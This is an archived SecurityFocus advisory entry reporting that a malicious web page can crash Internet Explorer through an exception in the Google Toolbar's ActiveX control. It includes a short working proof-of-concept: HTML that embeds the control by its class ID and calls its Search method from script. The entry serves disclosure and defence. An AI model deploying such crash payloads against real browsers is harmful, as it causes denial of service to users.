source: http://www.securityfocus.com/bid/5477/info

Reportedly, when the Google Toolbar receives a search query it may cause Microsoft Internet Explorer to crash. When a user views a malicious web page it will cause the Google Toolbar to throw an exception in 'oleaut32.dll'.

<object
id=GOOGLE
classid="clsid:00EF2092-6AC5-47c0-BD25-CF2D5D657FEB"
width=1
height=1
>
</object>

<script language="JavaScript">
// it raises the exception in oleaut32.dll
GOOGLE.Search("Miaow, miaow :)")
</script>